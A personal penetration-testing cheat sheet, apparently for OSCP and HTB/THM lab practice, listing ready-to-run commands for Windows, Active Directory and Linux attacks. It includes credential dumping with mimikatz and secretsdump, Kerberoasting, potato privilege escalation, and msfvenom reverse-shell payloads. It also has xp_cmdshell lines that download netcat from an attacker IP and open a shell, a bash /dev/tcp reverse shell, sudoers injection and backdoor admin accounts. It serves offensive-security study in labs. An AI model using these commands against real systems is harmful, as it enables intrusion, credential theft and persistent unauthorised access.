Replace all mentions of 192.168.49.93 with your OWN Kali IP

**AutoRecon:**

* sudo $(which autorecon) -t targets.txt
* sudo $(which autorecon) -t targets.txt -v
  + If you want to exclude dirbusting, then add: --exclude-tags=dirbuster
* sudo $(which autorecon) 10.10.10.10

**OSCP-Scripts:**

* enum-AD -i <DC-IP> -u <domain user> -p|-H <password|hash>
* kdbx-crawl -f <kdbx file> -p|-H <password|hash>
* upload-server <port>
* .\reboot.exe
* sudo clock-sync <DC IP>

# Windows

**Find useful files:**

* Get-ChildItem -Path . -Recurse -Directory -Force -ErrorAction SilentlyContinue | Where-Object { $\_.Name -eq '.git' }
  + Find git directory
* Get-ChildItem -Path . -Include \*.kdbx,\*.zip,SAM,SYSTEM,ntds.\*,\*backup\* -File -Recurse -ErrorAction SilentlyContinue
  + Find useful files
* Get-ChildItem -Path . -Include \*.kdbx,\*.zip,SAM,SYSTEM,ntds.\* -File -Recurse -ErrorAction SilentlyContinue
  + Find useful files but without backup since that usually gives too much output

**How to find domain usernames**

* **nxc smb** 10.10.11.35 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser' | sed 's/.\*\\\(.\*\) (SidTypeUser)/\1/'
  + You need some form of authentication (ex. Guest works)
* **impacket-lookupsid** 'cicada.htb/guest'@10.10.11.35 -no-pass | grep 'SidTypeUser' | sed 's/.\*\\\(.\*\) (SidTypeUser)/\1/' > users.txt
  + You need some form of authentication (ex. Guest works)
* **nxc ldap** 192.168.229.122 -u '' -p '' **--query "(&(objectCategory=person)(objectClass=user))" sAMAccountName | awk '/sAMAccountName/ {print $NF}'**
  + You need some form of authentication. You can try guest or you can try no authentication (empty username nad password)
* **kerbrute** userenum -d {domain} --dc {ip} /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 100

**NMAP SMB Vulnerability Scan:**

* sudo nmap -sV --script="smb-vuln-\*" 10.10.10.4

**Check password policy for brute force**

* nxc smb <DC\_IP> -u <user> -p <pass> --pass-pol

**evil-winrm:**

* evil-winrm -i 192.168.239.153 -u Eric.Wallows -p EricLikesRunning800

**xfreerdp3 (RDP):**

* xfreerdp3 /v:192.168.216.249 /u:hacker /p:'Password123!' /cert:ignore /dynamic-resolution **/drive:test,/home/kali** +clipboard
* xfreerdp3 /v:10.201.113.94 /u:svc-admin /p:'management2005' **/d:spookysec.local** /cert:ignore /dynamic-resolution /drive:test,/home/kali +clipboard **/sec:tls**
  + This command includes with domain specification and TLS, which were both necessary for the **THM Attacktive Directory**

**psexec:**

* impacket-psexec administrator@10.10.10.10
* impacket-psexec <domain>/<username>:<password>@<target\_ip>

**Bloodhound/sharphound:**

* .\SharpHound.exe -c All
* .\SharpHound.exe -d oscp.exam --domaincontroller dc01.oscp.exam --ldapusername "eric.wallows@oscp.exam" --ldappassword "EricLikesRunning800" -c All

**ligolo-ng:**

* sudo ip tuntap add user kali mode tun ligolo
* sudo ip link set ligolo up
* sudo ip route add <subnet>/24 dev ligolo
* ./proxy -selfcert -laddr 0.0.0.0:4443
  + DON'T USE ANY PORT BELOW 1024 or else u need admin on pivot machine
* .\agent.exe -connect 192.168.49.93:4443 -ignore-cert
* session
* start

**PrintSpoofer:**

* Opening shell in terminal:
  + .\PrintSpoofer64.exe -i -c cmd
* Using netcat
  + curl http://192.168.49.93:445/PrintSpoofer64.exe -o PrintSpoofer64.exe
  + curl http://192.168.45.240:445/nc64.exe -o nc64.exe
  + .\PrintSpoofer64.exe -c "nc64.exe 192.168.49.93 4444 -e cmd"

**God Potato:**

* Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse
  + Check version of GodPotato to use
* .\GodPotato-NET4.exe -cmd "whoami"
* .\GodPotato-NET4.exe -cmd "nc64.exe 192.168.49.93 4444 -e cmd"
  + Maybe add -t flag for more smooth experience
    - .\GodPotato-NET4.exe -cmd "nc64.exe **-t** -e cmd 192.168.49.93 4444"
* .\GodPotato-NET4.exe -cmd "c:\temp\reverse.exe"
* Add user:
  + .\GodPotato-NET4.exe -cmd "net user hacker Password123! /add"
  + .\GodPotato-NET4.exe -cmd "net localgroup Administrators hacker /add"
  + .\GodPotato-NET4.exe -cmd "net localgroup "Remote Desktop Users" hacker /add"
  + .\GodPotato-NET4.exe -cmd "net localgroup "Remote Management Users" hacker /add"
  + Check:
    - nxc winrm 192.168.216.249 -u hacker -p 'Password123!' --local-auth
    - nxc rdp 192.168.216.249 -u hacker -p 'Password123!' --local-auth
  + Login
    - evil-winrm -i 192.168.216.249 -u hacker -p 'Password123!'
    - xfreerdp3 /v:192.168.216.249 /u:hacker /p:'Password123!' /cert:ignore /dynamic-resolution **/drive:test,/home/kali** +clipboard

**How to add a new user to administrator and RDP/winRM group:**

* net user hacker Password123! /add
* net localgroup Administrators hacker /add
* net localgroup "Remote Desktop Users" hacker /add
* net localgroup "Remote Management Users" hacker /add
* Check:
  + nxc winrm 192.168.216.249 -u hacker -p 'Password123!' --local-auth
  + nxc rdp 192.168.216.249 -u hacker -p 'Password123!' --local-auth
* Login
  + evil-winrm -i 192.168.216.249 -u hacker -p 'Password123!'
  + xfreerdp3 /v:192.168.216.249 /u:hacker /p:'Password123!' /cert:ignore /dynamic-resolution **/drive:test,/home/kali** +clipboard

**Mimikatz:**

* LSASS:
  + .\mimikatz.exe "privilege::debug" "log" "**sekurlsa::logonpasswords**" "exit"
* MSV:
  + .\mimikatz.exe "privilege::debug" "log" "**sekurlsa::msv**" "exit"
* Kerberos Ticket Dump:
  + .\mimikatz.exe "privilege::debug" "log" "token::elevate" "sekurlsa::tickets /export" "exit"
* SAM dump
  + .\mimikatz.exe "privilege::debug" "log" "**token::elevate**" "**lsadump::sam**" "exit"
* LSA Secrets Dump
  + .\mimikatz.exe "privilege::debug" "log" "**token::elevate**" "**lsadump::secrets**" "exit"
* Domain Logon Hashes Dump
  + .\mimikatz.exe "privilege::debug" "log" "**token::elevate**" "**lsadump::cache**" "exit"
* DPAPI
  + .\mimikatz "privilege::debug" "log" "**token::elevate**" "**sekurlsa::dpapi** "exit"
* ntds.dit dump
  + .\mimikatz.exe "privilege::debug" "log" "token::elevate" "lsadump::dcsync /domain:**<target\_domain>** /user:**<target\_domain>**\administrator" "exit"

**Kerberoast**

* impacket-GetUserSPNs **-dc-ip 192.168.208.40** oscp.exam/michael:password123! -request -save -outputfile **GetUsersSPNs.out**
* sudo hashcat -m 13100 **GetUsersSPNs.out** /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

**TargetedKerberoast**

* python3 ~/Downloads/targetedKerberoast/targetedKerberoast.py -u "[user]" -p "[pass]" -d "[domain]" --dc-ip [ip address]
* john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

**AS-REP Roast**

* impacket-GetNPUsers relia.com/jim:'Castello1!' -dc-ip 172.16.118.6
  + Checks for roastable
* impacket-GetNPUsers relia.com/jim:'Castello1!' -dc-ip 172.16.118.6 -request
  + Actually does roast
  + You can also add the -outputfile hash.txt to save hashes to a file
* hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
  + -r /usr/share/hashcat/rules/best64.rule

**Powershell Log History Enumeration:**

* (Get-PSReadlineOption).HistorySavePath
* cd C:\Users\**<USER>**\appdata\roaming\microsoft\windows\PowerShell\PSReadLine
* Get-History

**sc.exe**

* sc.exe query
  + Query all services
* sc.exe qc <serviceName>
* sc.exe config <serviceName>
* sc.exe config <serviceName> <option>= <value>
  + Modify value of config
* sc.exe start <serviceName>
* sc.exe stop <serviceName>

**accesschk.exe** (check service permissions)

* .\accesschk.exe /accepteula -uvqc <svc>
  + Check permissions on service for all users
* .\accesschk.exe /accepteula -uwcqv **<user>** <svc>
  + Check permission on service for specific user
* .\accesschk.exe /accepteula -quvw "C:\example.exe"
  + How to check (write) permissions of a file
* .\accesschk.exe /accepteula -uwdq C:\
  + How to check (write) permissions of a directory
* .\accesschk.exe /accepteula -uvwqk **HKLM\System\CurrentControlSet\Services\regsvc**
  + How to check (write) permissions of a registry:

**PuTTY credentials:**

* reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY\_CURRENT\_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername"
  + Check the values saved in each session, user/password could be there
* reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
  + This is the same as the one above but without the filters
  + **This is the one I used in OSCP-A .145**
* reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
  + This one is the same as the above but has the /s flag which is supposed to **recurse through all subkeys** and find more info

**impacket-smbserver:**

* mkdir /tmp/smbshare
* sudo impacket-smbserver share /tmp/smbshare -smb2support -username test -password test123
* net use \\192.168.49.93\share /user:test test123
* copy rand.txt \\192.168.49.93\share\

**Mount SMB:**

* sudo mkdir /mnt/**data**
* sudo mount -t cifs -o 'user=[**USER**],password=[**PASS**]' //[**IP**]/**Data** /mnt/**data**/
* How to unmount
  + sudo umount /mnt/[**directory\_name**]
  + sudo rmdir /mnt/**[directory\_name]**

**Mount FTP:**

* mkdir ~/ftp-mount
  + Make sure it's empty if you already made it before
* curlftpfs ftp://user:password@host ~/ftp-mount
  + This mounts the **ENTIRE** FTP to ~/ftp-mount
* curlftpfs ftp://user:pass@ftp.example.com/pub/data ~/ftp\_mount
  + This mount **specific directory** (/pub/data) to Kali

**git-dumper:**

* mkdir /new\_dir
* git-dumper http://192.168.236.144/.git /path/to/folder
* git log -p
  + git log and git show in one command
  + Can scroll through all changes
* git log
* git show <id>

**Mssql command execution:**

* EXEC sp\_configure 'show advanced options', 1;
* RECONFIGURE;
* EXEC sp\_configure 'xp\_cmdshell', 1;
* RECONFIGURE;
* EXEC xp\_cmdshell 'whoami';
* EXEC xp\_cmdshell 'certutil -urlcache -f http://192.168.49.93:80/nc.exe C:\windows\temp\nc.exe';
* EXEC xp\_cmdshell 'C:\windows\temp\nc.exe 192.168.49.93 80 -e cmd.exe';

**SAM, NTDS, SECURITY, and SYSTEM Dump:**

* impacket-secretsdump **-ntds ntds.dit** -system SYSTEM LOCAL
* impacket-secretsdump **-sam SAM** -system SYSTEM LOCAL
* impacket-secretsdump **-security SECURITY** -system SYSTEM LOCAL

**SNMP:**

* snmp-check 192.168.118.149 -c public -p 61 -v 1 > snmp-check.txt
* snmpbulkwalk -c public -v2c 192.168.164.42 .
* snmpwalk -v 1 -c public 192.168.220.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
* snmpwalk -c public -v1 192.168.236.145 1.3.6.1.2.1.25.6.3.1.2
  + Installed services
* snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.4.2.1.2
  + Running processes

**Msfvenom:**

* Non-staged (not meterpreter)
  + msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.45.243 LPORT=80 -f exe > reverse.exe
    - 64-bit
  + msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.45.243 LPORT=1234 -f exe > reverse.exe
    - 32-bit
  + msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.6.2 LPORT=4444 -f asp > shell.asp
    - .asp
  + msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f aspx > shell.aspx
    - .aspx
  + msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.45.243 LPORT=80 -f dll > reverse.dll
    - .dll
* Meterpreter
  + msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=192.168.45.243 LPORT=80 -f exe > reverse.exe
    - 64-bit
  + msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.45.243 LPORT=1234 -f exe > reverse.exe
    - 32-bit
  + msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.10.6.2 LPORT=4444 -f asp > shell.asp
    - .asp
  + msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f aspx > shell.aspx
    - .aspx

**Metasploit multi/handler:**

* msfvenom -q
* use multi/handler
* set payload <payload>
* show options
* set LHOST <IP>
* set LPORT 4444
* run

**Meterpreter:**

* set payload windows/x64/meterpreter/reverse\_tcp
  + For 64-bit
* set payload windows/meterpreter/reverse\_tcp
  + For 32-bit

**Metasploit modules:**

* use multi/recon/local\_exploit\_suggester
  + set SESSION <session\_id>
* migrate <PID>
  + ps
  + getpid

**LDAP:**

* **For anonymous bind (no credentials), give empty username and password:**
* nxc ldap 192.168.229.122 -u '' -p ''
* **List all domain users (CLEAN with only their sAmAccountName)**
  + nxc ldap 192.168.229.122 -u '' -p '' **--query "(&(objectCategory=person)(objectClass=user))" sAMAccountName | awk '/sAMAccountName/ {print $NF}'**
* **List all domain groups**
  + nxc ldap <DC-IP> -u <User> -p <Password>  **--groups | awk '/LDAP/ {print $NF}'**
* **Enumerates accounts that don’t require a password.**
  + nxc ldap <DC-IP> -u <User> -p <Password> **--password-not-required**
* **Pulls the description field from user objects**
  + nxc ldap <DC-IP> -u <User> -p <Password> **-M get-desc-users**
* **Checks for LAPS (Local Admin Password Solution) attributes.**
  + nxc ldap <DC-IP> -u <User> -p <Password> **-M laps**
* **LDAP Signing Check**
  + nxc ldap <DC-IP> -u <User> -p <Password> **-M ldap-signing**
* **gMSA Enumeration**
  + nxc ldap <DC-ip> -u <user> -p <pass> **--gmsa**
* **AS-REP roast**
  + nxc ldap <DC-IP> -u <User> -p <Password> **--asreproast ASREPROAST**
  + nxc ldap <DC-IP> -u users.txt -p '' **--asreproast ASREPROAST**
    - Tests if any of the accounts have kerberos pre-authentication disabled
  + You have to add the IP and domain to /etc/hosts first
  + **hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt**
* **Kerberoast**
  + nxc ldap <DC-IP> -u <User> -p <Password> **--kerberoasting KERBEROASTING**
    - You have to add the IP and domain to /etc/hosts first
    - Used in Active HTB
    - This one actually does kerberoasting (gives us hash) while the one below just identifies vulnerable accounts (have SPN)
  + **sudo hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force**
  + ldapsearch -x -H 'ldap://**10.10.10.100**' -D **'SVC\_TGS'** -w **'GPPstillStandingStrong2k18'** -b "**dc=active,dc=htb**" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=\*/\*))" serviceprincipalname | grep -B 1 servicePrincipalName
    - This is for user SVC\_TGS and password 'GPPstillStandingStrong2k18'
    - And the domain is active.htb
    - Used in Active HTB
    - This one just identifies vulnerable accounts (have SPN) while the first command actually does the kerberoast (gives hash)
* **Dump ALL LDAP info about objects**:
  + ldapsearch -v -x -b "DC=**hutch**,DC=**offsec**" -H "ldap://<**DC-IP>**" "(objectclass=\*)"
    - This is for domain hutch.offsec.
  + ldapsearch -v -x -b "DC=cascade,DC=local" -H "ldap://10.10.10.182" "(objectclass=\*)" | grep -i -E "pwd|pass"
    - Filters lines that include pwd or pass
    - Useful for **Cascade HTB** where was a password and the original output was thousands of lines long
* **Bloodhound ingestor** 
  + nxc ldap <DC-IP> -u <User> -p <Password> **--bloodhound --collection All**
  + nxc ldap 10.201.113.94 -u svc-admin -p management2005 -d spookysec.local --dns-server 10.201.113.94 --bloodhound --collection All
    - Worked in **THM Attacktive Directory**
    - Works for BloodHound Legacy
  + You have to add the IP and domain to /etc/hosts first

# Linux

**Upgrading Reverse Shell:**

* python3 -c 'import pty;pty.spawn("/bin/bash")'
  + Edit python version or maybe switch to /bin/sh
* script /dev/null -c bash
  + Bash stabilize
* perl -e 'exec "/bin/bash";'
* Send another reverse shell to yourself while inside weak shell
* export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
* export TERM=xterm-256color

**Recursively looking through a bunch of files for credentials:**

* grep -rinE '(password|username|user|pass|key|token|secret|admin|login|credentials)'
* Here is the powershell version:
  + Get-ChildItem -Recurse | Select-String -Pattern "password|username|user|pass|key|token|secret|admin|login|credentials" -CaseSensitive:$false

**ffuf:**

* Directories and Files:
* ffuf -u http://10.10.10.10/FUZZ -w **/usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt** -ic
  + -e .php,.js,.json,.html,.txt
* ffuf -u http://10.10.10.10/FUZZ -w **/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt** -ic

**Cron Jobs:**

* cat /etc/ctrontab
* cd /etc/cron.d
* /var/spool/cron/ or /var/spool/cron/crontabs/
* ./pspy64

**Payloads for priv esc:**

* bash -i >& /dev/tcp/**<your-ip>**/**<port>** 0>&1
* **Open shell as sudo if you can run file as sudo:**
  + touch shell.sh
  + echo '/bin/sh' > shell.sh
  + chmod 777 shell.sh
* **Give Sudo Privileges to current user**
  + echo 'echo " **michael** ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > **cleanup.sh**
* **Make an SUID copy of /bin/bash** 
  + #!/bin/bash
  + cp /bin/bash /tmp/rootbash
  + chmod +s /tmp/rootbash
  + Run it:
    - /tmp/rootbash -p
* **Make a root copy of /bin/bash in one line:**
  + echo "/usr/bin/chmod 4755 /bin/bash" > **shell.sh**
* **Custom script to open shell as root**

Put the following in a C file:

int main() {

setuid(0);

system("/bin/bash -p");

}

And then run:

* gcc -o <name> <filename.c>

And then get a process to execute it, giving you a root shell

**Add user to sudo group:**

* useradd -m -s /bin/bash michael
* echo 'michael:SuperSecret123!' | chpasswd
* usermod -aG sudo michael or usermod -aG wheel michael
* Check SSH running
  + systemctl status ssh
  + systemctl restart ssh if necessary
* ssh michael@192.168.239.156
* sudo -i

**SSH:**

* ssh [username]@[remote\_ip]
* ssh -i /path/to/their\_private\_key username@target\_ip

**SCP:**

* Getting files from SSH to Local Kali:
  + scp -i id\_rsa -P 2222 anita@192.168.216.245:/home/anita/local.txt /home/kali
  + scp bob@192.168.1.50:/home/bob/secret.txt /home/kali/Desktop/
* Getting files from Local Kali to SSH
  + scp -i id\_rsa -P 2222 /home/kali/pass.txt anita@192.168.216.245:/home/anita
  + scp /home/kali/Desktop/revshell.sh bob@192.168.1.50:/tmp/